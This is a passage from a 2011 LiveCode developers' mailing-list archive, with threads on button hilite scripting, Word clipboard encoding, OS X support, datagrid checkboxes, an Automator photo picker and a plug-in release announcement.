statement: > > put (the cInitialValue of control x of this card) into control x of this > card > > ...works just fine when the value of the cprop is the word empty, also a > reserved word. Right - buttons can contain text, so you can put empty or other text into them without an error. > > I'm reduced to what looks like a nonsenical if statement that checks the > cprop for true or false and sets the hilite of the button to true or false. > Looks really weird! Wait until you get or set the text of an image! That always makes me squirm. > I've meddled enough for now... -- Phil Davis PDS Labs Professional Software Development http://pdslabs.net From pete at mollysrevenge.com Tue Dec 13 21:48:29 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 13 Dec 2011 18:48:29 -0800 Subject: Setting the value of a button hilite in script In-Reply-To: <4EE7FF27.5050003@pdslabs.net> References: <4EE7FF27.5050003@pdslabs.net> Message-ID: Thanks for the suggestions Phil. I'm attempting to put initial values into all the controls on the card not just buttons. My code figures out what type of control it's dealing with by looking at the first word of the abbrev name, then the menumode and style if it's a button. Once it's figured out what type of control it's dealing with, it issues a set for the appropriate property or a put if it's field. I've worked around the problem by using a do command to issue the appropriate command instead of hard coding the command itself and that works just fine. I think this is just one of those weirdnesses that comes up every now and again. In this case LC is treating everything as text even if it's a reserved word, which I can kind of understand. Unfortunately, unlike the sort command discussion that's been going on the last couple of days, there's no simple keyword I can add to make it work correctly, hence the do command workaround. While we're at it, here's another oddity that always bugs me. The "compiler" (the thing that runs when you click the apply button) can't figure out the difference between "repeat for" and "repeat with". I'm prone to using the wrong form just because I can never remember which is which. I often write something like "repeat for x=1 to the number of controls on this card". It should be "repeat with" but the error doesn't get flagged until run time. Once again, not a big deal, but seems like that should be detected as an error during the Apply process. For no particular reason other than I'm an Englishman living in California and completely off topic, I'm really missing the British pantomime tradition at this time of the year. "OH YES I AM!!!" Pete On Tue, Dec 13, 2011 at 5:43 PM, Phil Davis wrote: > Hi Pete, > > I'm not always good at staying on-topic, but maybe some of this will > help... > > On 12/13/11 2:50 PM, Pete wrote: > >> I wrote myself a script to set the initial values of controls on a card in >> preOpenCard. It looks for a custom property name cInitialValue, then >> initialises the control to the value of the custom property, depending on >> that type of control (field, button, etc). >> >> I set the value of cInitialValue for checkboxes or radio buttons to either >> true or false. My code then is: >> >> set the hilite of control x of this card to (the cInitialValue of control >> x >> of this card) >> >> At run time, I get an error - value is not a boolean (true or false) near >> "false" >> > > Couple of things: > > - since only buttons can have hilites, why not make your 'set' loop deal > with buttons only? e.g. "set the hilite of btn x of ...." > > - an easy way to handle empty cprop hilite values (assuming empty = false) > is: > set the hilite of btn x of this card to (the cInitialValue of btn x of > this card = true) > Doing this will prevent runtime hilite-setting errors (though your hilites > may still not be set to the correct values) > >> >> I'm suspecting this is because true and false are reserved words but the >> set statement is treating them as literals (they are not in quotes in the >> cprop though). However, the statement: >> >> put (the cInitialValue of control x of this card) into control x of this >> card >> >> ...works just fine when the value of the cprop is the word empty, also a >> reserved word. >> > Right - buttons can contain text, so you can put empty or other text into > them without an error. > > >> I'm reduced to what looks like a nonsenical if statement that checks the >> cprop for true or false and sets the hilite of the button to true or >> false. >> Looks really weird! >> > > Wait until you get or set the text of an image! That always makes me > squirm. > >> >> I've meddled enough for now... > > -- > Phil Davis > > PDS Labs > Professional Software Development > http://pdslabs.net > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From pete at mollysrevenge.com Tue Dec 13 21:51:02 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 13 Dec 2011 18:51:02 -0800 Subject: Supported versions of OS X Message-ID: Just tried to install an LC app on OS X 10.2.x and it won't run. The icon appears in the dock then disappears before any app screen shows. I suspect 10.2 isn;t supported? Is there a log file I can look at somewhere to confirm the problem? -- Pete Molly's Revenge From martyknapp at comcast.net Tue Dec 13 22:35:30 2011 From: martyknapp at comcast.net (Marty Knapp) Date: Tue, 13 Dec 2011 19:35:30 -0800 Subject: Supported versions of OS X In-Reply-To: References: Message-ID: <4EE81982.70203@comcast.net> Hey Pete, The last few versions of LC require 10.4 or newer if I remember correctly. I see from the release notes that the current version 5.0.2 does. Marty > Just tried to install an LC app on OS X 10.2.x and it won't run. The icon > appears in the dock then disappears before any app screen shows. I suspect > 10.2 isn;t supported? Is there a log file I can look at somewhere to > confirm the problem? > From pete at mollysrevenge.com Tue Dec 13 22:57:10 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 13 Dec 2011 19:57:10 -0800 Subject: Supported versions of OS X In-Reply-To: <4EE81982.70203@comcast.net> References: <4EE81982.70203@comcast.net> Message-ID: Thanks Marty, I was pretty sure that was the case. Pete On Tue, Dec 13, 2011 at 7:35 PM, Marty Knapp wrote: > Hey Pete, > The last few versions of LC require 10.4 or newer if I remember correctly. > I see from the release notes that the current version 5.0.2 does. > > Marty > > Just tried to install an LC app on OS X 10.2.x and it won't run. The icon >> appears in the dock then disappears before any app screen shows. I >> suspect >> 10.2 isn;t supported? Is there a log file I can look at somewhere to >> confirm the problem? >> >> > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From m.schonewille at economy-x-talk.com Tue Dec 13 23:31:50 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Wed, 14 Dec 2011 05:31:50 +0100 Subject: Ann: Installer Maker Plugin 1.7 for LiveCode with 16 new features Message-ID: <2A8CD38E-A56B-4C31-B5B0-DCA43D1CFFBB@economy-x-talk.com> Dear all, I'm pleased to announce that after 6 months of hard work Economy-x-Talk is releasing Installer Maker 1.7. Installer Maker is a plug-in for LiveCode, which allows you to wrap your standalones in an installer with only LiveCode itself --no additional software needed. This version contains 16 new features, including pre- and post-installation scripts and addition of an icon to the Dock in Mac OS X. All new features are listed on the website. Installer Maker 1.7 is a free update for everyone who bought a license after 1 October 2011. If your license is more than 3 but less than 12 months old, then you get 50% discount on a new license. Installer Maker 1.7 is available at http://qery.us/za where you also obtain a license. Please, let me know if you have any feature requests, bug reports or comments. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! From jacque at hyperactivesw.com Wed Dec 14 00:02:25 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 13 Dec 2011 23:02:25 -0600 Subject: characters lost pasting from Word To LiveCode field In-Reply-To: References: Message-ID: <4EE82DE1.7070400@hyperactivesw.com> On 12/13/11 5:09 PM, Sieg Lindstrom wrote: > I'll say up front the details of text encoding are not my strong suit. With > earlier versions (RunRev 4.x and earlier), I'd sometimes have to write > special routines to search and replace certain characters from the pasted > text. For example, the em-dash, "?" (chartonum 209), which after pasting > from Word was seen by RunRev as two characters (a two-byte character?), > numtochar of 32 followed by numtochar of 20 so I wrote a routine to just > search and replace to numToChar of 209. My new problem is that with LiveCode > 5.0x (I just upgraded to 5.02), the em-dash if pasted from a Word file > instantly disappears from the text. Someone once posted a function to the list that translates Word text to useable LiveCode text. I saved it but haven't ever tried it. I wish I'd also recorded who wrote it: function revText theText return unidecode(uniencode(theText,"utf8")) end revText Use that on the clipboard contents and see if it does what you need. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From mwieder at ahsoftware.net Wed Dec 14 00:37:29 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 13 Dec 2011 21:37:29 -0800 Subject: Setting the value of a button hilite in script In-Reply-To: References: <78282935937.20111213170112@ahsoftware.net> Message-ID: <53299512671.20111213213729@ahsoftware.net> Pete- Tuesday, December 13, 2011, 5:23:11 PM, you wrote: > Hi Mark, > That's where I started - I added the parens to see if it made any > difference. I just tried it again without the parens and still get the > same error. Wonder if it's a version thing - I'm on 4.6.4 I did that on 4.6.4 as well. 5.0 is too buggy for me. It worked from the message box. -- -Mark Wieder mwieder at ahsoftware.net From jacque at hyperactivesw.com Wed Dec 14 01:11:19 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 14 Dec 2011 00:11:19 -0600 Subject: Setting the value of a button hilite in script In-Reply-To: <53299512671.20111213213729@ahsoftware.net> References: <78282935937.20111213170112@ahsoftware.net> <53299512671.20111213213729@ahsoftware.net> Message-ID: <4EE83E07.1080606@hyperactivesw.com> On 12/13/11 11:37 PM, Mark Wieder wrote: > Pete- > > Tuesday, December 13, 2011, 5:23:11 PM, you wrote: > >> Hi Mark, >> That's where I started - I added the parens to see if it made any >> difference. I just tried it again without the parens and still get the >> same error. Wonder if it's a version thing - I'm on 4.6.4 > > I did that on 4.6.4 as well. 5.0 is too buggy for me. It worked from > the message box. > I just tried it in 5.0.2 and it works both with and without parentheses. I made a radio button with a cHilite property set to true. I made a pushbutton with this script: on mouseUp set the hilite of btn 1 to (the cHilite of btn 1) set the cHilite of btn 1 to not the cHilite of btn 1 end mouseUp Repeatedly clicking the pushbutton toggles the hilite. Removing the parentheses also worked. If that doesn't work in 4.6.4 then you could try indirection: on mouseUp get the cHilite of btn 1 set the hilite of btn 1 to it set the cHilite of btn 1 to not the cHilite of btn 1 end mouseUp Pete, test with a known button rather than "control x". If that works, then the problem is probably elsewhere. You shouldn't have to load the compiler (which is what "do" does) just to set a hilite. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at mollysrevenge.com Wed Dec 14 01:15:59 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 13 Dec 2011 22:15:59 -0800 Subject: Setting the value of a button hilite in script In-Reply-To: <53299512671.20111213213729@ahsoftware.net> References: <78282935937.20111213170112@ahsoftware.net> <53299512671.20111213213729@ahsoftware.net> Message-ID: Very strange. As mentioned, I got round the problem by using a do command: do "set the hilite of control x of this card to" && the cInitialValue of control x of this card That worked with no other changes to the overall logic of the handler in detecting what type of control I'm dealing with. Pete On Tue, Dec 13, 2011 at 9:37 PM, Mark Wieder wrote: > Pete- > > Tuesday, December 13, 2011, 5:23:11 PM, you wrote: > > > Hi Mark, > > That's where I started - I added the parens to see if it made any > > difference. I just tried it again without the parens and still get the > > same error. Wonder if it's a version thing - I'm on 4.6.4 > > I did that on 4.6.4 as well. 5.0 is too buggy for me. It worked from > the message box. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From richmondmathewson at gmail.com Wed Dec 14 08:22:23 2011 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 14 Dec 2011 15:22:23 +0200 Subject: [OT] i-s a-n-y-o-n-e e-l-s-e getting SPAM messages like this? Message-ID: <4EE8A30F.8070105@gmail.com> Obviously this is the latest wheeze to get round Spam-filtering. From andre at andregarzia.com Wed Dec 14 08:32:23 2011 From: andre at andregarzia.com (Andre Garzia) Date: Wed, 14 Dec 2011 11:32:23 -0200 Subject: Ann: Installer Maker Plugin 1.7 for LiveCode with 16 new features In-Reply-To: <2A8CD38E-A56B-4C31-B5B0-DCA43D1CFFBB@economy-x-talk.com> References: <2A8CD38E-A56B-4C31-B5B0-DCA43D1CFFBB@economy-x-talk.com> Message-ID: Mark, congratulation on your release. I've used Installer Maker to build installers and I must say, it rocks! Thanks so much for your hard work. =) On Wed, Dec 14, 2011 at 2:31 AM, Mark Schonewille < m.schonewille at economy-x-talk.com> wrote: > Dear all, > > I'm pleased to announce that after 6 months of hard work Economy-x-Talk is > releasing Installer Maker 1.7. > > Installer Maker is a plug-in for LiveCode, which allows you to wrap your > standalones in an installer with only LiveCode itself --no additional > software needed. > > This version contains 16 new features, including pre- and > post-installation scripts and addition of an icon to the Dock in Mac OS X. > All new features are listed on the website. > > Installer Maker 1.7 is a free update for everyone who bought a license > after 1 October 2011. If your license is more than 3 but less than 12 > months old, then you get 50% discount on a new license. > > Installer Maker 1.7 is available at http://qery.us/za where you also > obtain a license. > > Please, let me know if you have any feature requests, bug reports or > comments. > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Become our partner in sales http://qery.us/1bq Start selling Color > Converter today. 20% commission! > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From m.schonewille at economy-x-talk.com Wed Dec 14 08:49:31 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Wed, 14 Dec 2011 14:49:31 +0100 Subject: Ann: Installer Maker Plugin 1.7 for LiveCode with 16 new features In-Reply-To: References: <2A8CD38E-A56B-4C31-B5B0-DCA43D1CFFBB@economy-x-talk.com> Message-ID: <40F9D42B-9C23-4A9E-8757-ACA981502A43@economy-x-talk.com> Thank you, Andre! I'd be interested in seeing products using installers made with IM. Got any links? -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 14 dec 2011, at 14:32, Andre Garzia wrote: > Mark, > > congratulation on your release. I've used Installer Maker to build > installers and I must say, it rocks! Thanks so much for your hard work. > > =) > From john at splash21.com Wed Dec 14 09:33:16 2011 From: john at splash21.com (John Craig) Date: Wed, 14 Dec 2011 14:33:16 +0000 Subject: Android date pickers and other custom controls. Message-ID: <4EE8B3AC.4090304@splash21.com> I've added a couple of features to the android scroller (it's iOS friendly as well!). You can now use scrollers to create date picker style controls for android or other custom controls for both platforms. As always, feedback on performance on real devices is much appreciated :D http://forums.runrev.com/viewtopic.php?f=54&t=10350 Thanks, John. From capellan2000 at gmail.com Wed Dec 14 09:35:37 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Wed, 14 Dec 2011 06:35:37 -0800 (PST) Subject: [OT] i-s a-n-y-o-n-e e-l-s-e getting SPAM messages like this? In-Reply-To: <4EE8A30F.8070105@gmail.com> References: <4EE8A30F.8070105@gmail.com> Message-ID: <1323873337475-4195236.post@n4.nabble.com> Still not... -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/OT-i-s-a-n-y-o-n-e-e-l-s-e-getting-SPAM-messages-like-this-tp4194935p4195236.html Sent from the Revolution - User mailing list archive at Nabble.com. From rjb at robelko.com Wed Dec 14 10:22:12 2011 From: rjb at robelko.com (Robert Brenstein) Date: Wed, 14 Dec 2011 16:22:12 +0100 Subject: Setting the value of a button hilite in script In-Reply-To: References: <78282935937.20111213170112@ahsoftware.net> <53299512671.20111213213729@ahsoftware.net> Message-ID: On 13.12.2011 at 22:15 Uhr -0800 Pete apparently wrote: >Very strange. As mentioned, I got round the problem by using a do command: > >do "set the hilite of control x of this card to" && the cInitialValue of >control x of this card > >That worked with no other changes to the overall logic of the handler in >detecting what type of control I'm dealing with. > >Pete Hmm, I wonder, shouldn't that be hilited not hilite? Hilited has several synonyms but hilite is not listed as one of them in docs unless I am misreading. Robert From bobs at twft.com Wed Dec 14 12:16:10 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 09:16:10 -0800 Subject: characters lost pasting from Word To LiveCode field In-Reply-To: <4EE82DE1.7070400@hyperactivesw.com> References: <4EE82DE1.7070400@hyperactivesw.com> Message-ID: <211A48AE-6A5E-432B-8F86-BBE70C170575@twft.com> On Dec 13, 2011, at 9:02 PM, J. Landman Gay wrote: > On 12/13/11 5:09 PM, Sieg Lindstrom wrote: > >> I'll say up front the details of text encoding are not my strong suit. With >> earlier versions (RunRev 4.x and earlier), I'd sometimes have to write >> special routines to search and replace certain characters from the pasted >> text. For example, the em-dash, "?" (chartonum 209), which after pasting >> from Word was seen by RunRev as two characters (a two-byte character?), >> numtochar of 32 followed by numtochar of 20 so I wrote a routine to just >> search and replace to numToChar of 209. My new problem is that with LiveCode >> 5.0x (I just upgraded to 5.02), the em-dash if pasted from a Word file >> instantly disappears from the text. > > Someone once posted a function to the list that translates Word text to useable LiveCode text. I saved it but haven't ever tried it. I wish I'd also recorded who wrote it: > > function revText theText > return unidecode(uniencode(theText,"utf8")) > end revText > > Use that on the clipboard contents and see if it does what you need. > No workie Jacque. From word I get empty. From Textedit I get ??? If I put just the clipboardData from Word I get nothing. If I put the clipboardData from Textedit I get an emDash. Bottom line: Microsoft does not play well with Livecode's clipboard. Other apps are fine. Bob From mikekann at yahoo.com Wed Dec 14 13:08:09 2011 From: mikekann at yahoo.com (Michael Kann) Date: Wed, 14 Dec 2011 10:08:09 -0800 (PST) Subject: French Ears Message-ID: <1323886089.60053.YahooMailClassic@web161601.mail.bf1.yahoo.com> I know there are some list listeners with exquisite ears for the French Language. I was wondering if this website has the best French text to speech sound, or are there better ones on the web. I'm not interested in the translations, just the quality of the French accent. Here's the site: http://imtranslator.net/translate-and-speak/ Thank you, Michael Kann From pete at mollysrevenge.com Wed Dec 14 13:08:18 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 14 Dec 2011 10:08:18 -0800 Subject: Setting the value of a button hilite in script In-Reply-To: <53299512671.20111213213729@ahsoftware.net> References: <78282935937.20111213170112@ahsoftware.net> <53299512671.20111213213729@ahsoftware.net> Message-ID: Never mind folks, found the problem - a missing break in a switch statement (how many times has that bitten me!). Sorry for the trouble. Pete On Tue, Dec 13, 2011 at 9:37 PM, Mark Wieder wrote: > Pete- > > Tuesday, December 13, 2011, 5:23:11 PM, you wrote: > > > Hi Mark, > > That's where I started - I added the parens to see if it made any > > difference. I just tried it again without the parens and still get the > > same error. Wonder if it's a version thing - I'm on 4.6.4 > > I did that on 4.6.4 as well. 5.0 is too buggy for me. It worked from > the message box. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bobs at twft.com Wed Dec 14 13:15:00 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 10:15:00 -0800 Subject: Independent Progress Bar Message-ID: Hi all. I know this has been discussed in length in the past, but I cannot remember what the conclusion was. Does anyone have/know about an independent progress bar/wheel that can be used with Livecode, that will function independently even when Livecode is running a script? I know I could kludge it myself if I had control over the scripts I am running, but I do not. One script is Trevor's sqlYoga which is locked, and also I am opening an SQL database remotely, and it takes a few seconds sometimes to have that return control. What is needed is an addon dialog created in some version of C that we can call on to display a progress bar/spinner, but I am not sure if anyone has made such a thing. Seems like a really good addition to Livecode, but I don't think we are going to see something like that soon. Bob From todd at geistinteractive.com Wed Dec 14 13:25:45 2011 From: todd at geistinteractive.com (Todd Geist) Date: Wed, 14 Dec 2011 10:25:45 -0800 Subject: Apple Photo (media) Picker In-Reply-To: <9F6F1AB9-8B6A-4C6D-99F0-95CE5F4C4B51@mac.com> References: <9F6F1AB9-8B6A-4C6D-99F0-95CE5F4C4B51@mac.com> Message-ID: More on this. you don't actually need the full Automator file to run it from the shell. You can rip out the document.wflow file from the contents of the automator package and use that. This comes in handy because some tools see the regular automator package as a folder not a file. So it can be difficult to handle some times. Todd On Fri, Dec 9, 2011 at 2:24 PM, Graham Samuel wrote: > This is just a quick thank you to Ken Ray, and also to Todd Geist for his > added note on this. I will get it going in my own environment soon. Being > English, I don't often use the word "awesome" but it seems an appropriate > response in this case. > > Graham > > On Fri, 9 Dec 2011 10:25:28 -0600, Ken Ray wrote: > > [?] > > Here's what you do (I tested this): > > > > In Automator: > > > > 1) Start a new workflow and add two actions: "Ask for Photos" (this is > in the 'Photos' category under 'Library' in the left column) and "New Text > File" (this is in the 'Text' category). > > 2) For "Ask for Photos", you can either leave it alone or uncheck "Allow > multiple selection" (if you don't want the user to do that). > > 3) For "New Text File", set these settings (the rest you can just leave > as defaults): > > Save as: picturepath.txt > > Where: Documents [x] Replacing existing files > > 4) Save the workflow as an application (you can pick from the 'FIle > Format' popup menu at the bottom of the 'save as' dialog) named "Choose > Picture". > > NOTE: Save it to your desktop for now so the following LC script will > work without modification. > > > > In LiveCode, create a button and put this script in it: > > > > on mouseUp > > ChoosePicture > > put the result > > end mouseUp > > > > on ChoosePicture > > put 30000 into tTimeout > > put specialFolderPath("documents") & "/picturepath.txt" into > tPicPathFile > > put specialFolderPath("desktop") & "/Choose Picture.app" into > tChoosePicApp > > if there is a file tPicPathFile then delete file tPicPathFile > > launch tChoosePicApp > > put the milliseconds into tMS > > put true into tTimedout > > repeat until ((the milliseconds - tMS) >= tTimeout) > > wait 100 milliseconds with messages > > if there is a file tPicPathFile then > > put url ("file:" & tPicPathFile) into tPicPath > > delete file tPicPathFile > > put false into tTimedOut > > exit repeat > > end if > > end repeat > > if not(tTimedOut) then > > if tPicPath = "" then return "Cancel" > > return tPicPath > > else > > return "timeout" > > end if > > end ChoosePicture > > > > Now click the button and test it out? you should get back in "the > result" either the path to the selected picture, the word "Cancel" (if they > chose to click the Cancel button), or the word "timeout" if for some reason > it couldn't get the file that is supposed to be created by the Choose > Picture app. > > > > A couple of caveats/notes: > > > > 1) AFAIK there's no way to call the "Ask for Photos" palette from > AppleScript directly, so that's the reason for the Automator solution. > > 2) When the "Ask for Photos" palette is open, the Automator "gear" icon > is shown in the Mac menu bar (although there's nothing the user can do with > it). > > 3) Feel free to change the paths to where you want to write the file, > how it's named, etc? you get the idea on how this works? > > > > > > and Todd Geist also wrote: > > > > Hello, > > > > This way works too. > > > > First create the automate as Ken described and save it somewhere. In this > > case I saved it on y desktop. > > then in LC do the following > > > > get shell ("automator '/Users/todd/Desktop/test.workflow'") > > > > put value(line 2 of it) > > > > > > That should do it. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Todd Geist (805) 419-9382 From zryip.theslug at gmail.com Wed Dec 14 13:26:12 2011 From: zryip.theslug at gmail.com (zryip theSlug) Date: Wed, 14 Dec 2011 19:26:12 +0100 Subject: Checkbox in datagrid column In-Reply-To: <8539525C-1E2B-44EC-8B48-9B48CAA40746@twft.com> References: <8539525C-1E2B-44EC-8B48-9B48CAA40746@twft.com> Message-ID: On Wed, Dec 14, 2011 at 2:21 AM, Bob Sneidar wrote: > Hi all. > > I guess this would be a zryip question. It may be too difficult to attempt, but I am going to give it a try anyway. > > I have a datagrid that already contains data. There are 3 modes to the form, browse, edit and newrecord. In edit and newrecord mode I want to display a checkbox in a column next to each row of the datagrid, but in browse mode I don't want the checkbox to be displayed. > > Maybe I should back up a bit. I have 2 datagrids, one is a list of primary records for the form, let's say reservations. The second can be anything related to the primary data, say the guest, the rooms he has reserved, the conference the reservation is attached to etc. > > In browse mode, I filter the alt list to only show the row data that corresponds to the primary record. But when editing or creating a new record, I display ALL the data, so the user can select from a list of records using a checkbox in the datagrid. Get it? > > So I would like to be able to either add a checkbox on the fly (probably too hard) or else have the checkbox column there by default, and then hide and show it by changing the dgColumns as needed. > > Maybe I am over-thinking this, and what I really need to do is create a bunch of buttons that correspond to the rows of the datagrid and kludge it. Hi Bob and Pete, As replied by Pete, a simple solution could consist to hide or show the checkbox column. The correct syntax is: set the dgColumnIsVisible["myColumn"] of grp "MyDataGrid" to {true or false} Best regards, -- -Zryip TheSlug- wish you the best! 8) http://www.aslugontheroad.com From jacque at hyperactivesw.com Wed Dec 14 13:34:59 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 14 Dec 2011 12:34:59 -0600 Subject: Setting the value of a button hilite in script In-Reply-To: References: <78282935937.20111213170112@ahsoftware.net> <53299512671.20111213213729@ahsoftware.net> Message-ID: <4EE8EC53.7040300@hyperactivesw.com> On 12/14/11 12:08 PM, Pete wrote: > Never mind folks, found the problem - a missing break in a switch statement > (how many times has that bitten me!). Sorry for the trouble. Oh good, that's easy to fix. Glad you found it. And don't feel bad, I once submitted a bug report about the same thing back in the MetaCard days. Dr Raney pointed out my error and I was embarrassed for days. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From rene.micout at numericable.com Wed Dec 14 13:41:26 2011 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Wed, 14 Dec 2011 19:41:26 +0100 Subject: French Ears In-Reply-To: <1323886089.60053.YahooMailClassic@web161601.mail.bf1.yahoo.com> References: <1323886089.60053.YahooMailClassic@web161601.mail.bf1.yahoo.com> Message-ID: <4A609EA8-D262-4396-ADD9-1964B06485C3@numericable.com> Hello Michael, For a computer it is not bad... It is a real French accent. There is some little mistakes but due to the computer rather than the speaker... Bon souvenir de Paris Ren? Le 14 d?c. 2011 ? 19:08, Michael Kann a ?crit : > I know there are some list listeners with exquisite ears for the French Language. I was wondering if this website has the best French text to speech sound, or are there better ones on the web. I'm not interested in the translations, just the quality of the French accent. > > Here's the site: > > http://imtranslator.net/translate-and-speak/ > > Thank you, > > Michael Kann > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Wed Dec 14 13:45:44 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 10:45:44 -0800 Subject: Checkbox in datagrid column In-Reply-To: References: <8539525C-1E2B-44EC-8B48-9B48CAA40746@twft.com> Message-ID: <75FA097A-8E4A-4AC4-B1BE-4F54601A516C@twft.com> Hi and thanks for the reply. My problem is that I populate the datagrid by taking the array produced by sqlquery_retrieveDataAsArray from Trevor's sqlYoga library and setting the dgData of the datagrid to that. It's very fast and efficient, but of course, the SQL database does not have a checkbox column, and the values have to be set "on the fly", that is dependent on whether or not the altData record has a relational link to the primary data record. But all this is moot, because after thinking about it, I just created a group of checkbox buttons the size of my altData datagrid, and I show and hide them as needed. I can write a script to enable or disable them based upon the state of the dgDataOfLine next to the corresponding checkbox. Simple, elegant, hackage. :-) Bob On Dec 14, 2011, at 10:26 AM, zryip theSlug wrote: > Hi Bob and Pete, > > As replied by Pete, a simple solution could consist to hide or show > the checkbox column. > > The correct syntax is: > > set the dgColumnIsVisible["myColumn"] of grp "MyDataGrid" to {true or false} > > > > Best regards, > -- > -Zryip TheSlug- wish you the best! 8) From pete at mollysrevenge.com Wed Dec 14 13:46:27 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 14 Dec 2011 10:46:27 -0800 Subject: Checkbox in datagrid column In-Reply-To: References: <8539525C-1E2B-44EC-8B48-9B48CAA40746@twft.com> Message-ID: Yep, sorry - I misnamed the property. On Wed, Dec 14, 2011 at 10:26 AM, zryip theSlug wrote: > The correct syntax is: > > set the dgColumnIsVisible["myColumn"] of grp "MyDataGrid" to {true or > false} > -- Pete Molly's Revenge From admin at FlexibleLearning.com Wed Dec 14 13:47:55 2011 From: admin at FlexibleLearning.com (FlexibleLearning) Date: Wed, 14 Dec 2011 18:47:55 -0000 Subject: characters lost pasting from Word To LiveCode field In-Reply-To: Message-ID: This scriptlet looks like a means of ensuring that accented and unicode characters in plain text format transfer between platforms to me rather than a bridge between text editors. Hugh Senior FLCo On Dec 13, 2011, at 9:02 PM, J. Landman Gay wrote: > On 12/13/11 5:09 PM, Sieg Lindstrom wrote: > >> I'll say up front the details of text encoding are not my strong suit. With >> earlier versions (RunRev 4.x and earlier), I'd sometimes have to write >> special routines to search and replace certain characters from the pasted >> text. For example, the em-dash, "?" (chartonum 209), which after pasting >> from Word was seen by RunRev as two characters (a two-byte character?), >> numtochar of 32 followed by numtochar of 20 so I wrote a routine to just >> search and replace to numToChar of 209. My new problem is that with LiveCode >> 5.0x (I just upgraded to 5.02), the em-dash if pasted from a Word file >> instantly disappears from the text. > > Someone once posted a function to the list that translates Word text to useable LiveCode text. I saved it but haven't ever tried it. I wish I'd also recorded who wrote it: > > function revText theText > return unidecode(uniencode(theText,"utf8")) > end revText > > Use that on the clipboard contents and see if it does what you need. > No workie Jacque. From word I get empty. From Textedit I get ??? If I put just the clipboardData from Word I get nothing. If I put the clipboardData from Textedit I get an emDash. Bottom line: Microsoft does not play well with Livecode's clipboard. Other apps are fine. Bob From curry at pair.com Wed Dec 14 13:50:52 2011 From: curry at pair.com (Curry Kenworthy) Date: Wed, 14 Dec 2011 12:50:52 -0600 Subject: characters lost pasting from Word To LiveCode field In-Reply-To: References: Message-ID: <4EE8F00C.3090307@pair.com> > Bottom line: Microsoft does not play well with Livecode's clipboard. Other apps are fine. Why not use WordLib? Sounds like an ideal scenario for it. Current release is ANSI but next release (almost there) has very accurate Unicode! Tested with many languages. Curry K. -- WordLib: Import MS Word and OpenOffice documents http://curryk.com/wordlib.html From henshaw at me.com Wed Dec 14 13:51:04 2011 From: henshaw at me.com (Andrew Henshaw) Date: Wed, 14 Dec 2011 18:51:04 +0000 Subject: Android date pickers and other custom controls. In-Reply-To: <4EE8B3AC.4090304@splash21.com> References: <4EE8B3AC.4090304@splash21.com> Message-ID: Thanks John, The scrollers are superb, I got my first app in the Google Market earlier this week which wouldn't be there without them! Looking forward to trying the code for the date picker!!! Andy On 14 Dec 2011, at 14:33, John Craig wrote: > I've added a couple of features to the android scroller (it's iOS friendly as well!). You can now use scrollers to create date picker style controls for android or other custom controls for both platforms. As always, feedback on performance on real devices is much appreciated :D > > 